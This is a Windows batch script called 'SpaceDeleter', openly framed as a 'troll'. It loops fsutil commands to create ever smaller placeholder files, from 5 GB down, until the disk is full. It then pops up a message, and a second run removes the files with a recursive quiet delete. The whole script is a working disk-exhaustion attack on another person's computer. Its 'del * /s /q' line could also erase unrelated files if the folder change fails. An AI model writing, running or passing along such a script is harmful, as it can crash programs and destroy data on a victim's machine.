SpaceDeleter

@echo off
mkdir Troll-big-files
cd Troll-big-files

if exist *.txt goto delete

set n=0
:1
set /a n=%n%+1
fsutil file createnew %n%.txt 5242880000
if %ERRORLEVEL% == 1 goto 2
goto 1

:2
set /a n=%n%+1
fsutil file createnew %n%.txt 524288000
if %ERRORLEVEL% == 1 goto 3
goto 2

:3
set /a n=%n%+1
fsutil file createnew %n%.txt 52428800
if %ERRORLEVEL% == 1 goto 4
goto 3

:4
set /a n=%n%+1
fsutil file createnew %n%.txt 5242880
if %ERRORLEVEL% == 1 goto 5
goto 4

:5
set /a n=%n%+1
fsutil file createnew %n%.txt 524288
if %ERRORLEVEL% == 1 goto 6
goto 5

:6
msg * Troll set! run again to remove troll
exit

:delete
del * /s /q
cd..
rd Troll-big-files /s /q
del SpaceDeleter.bat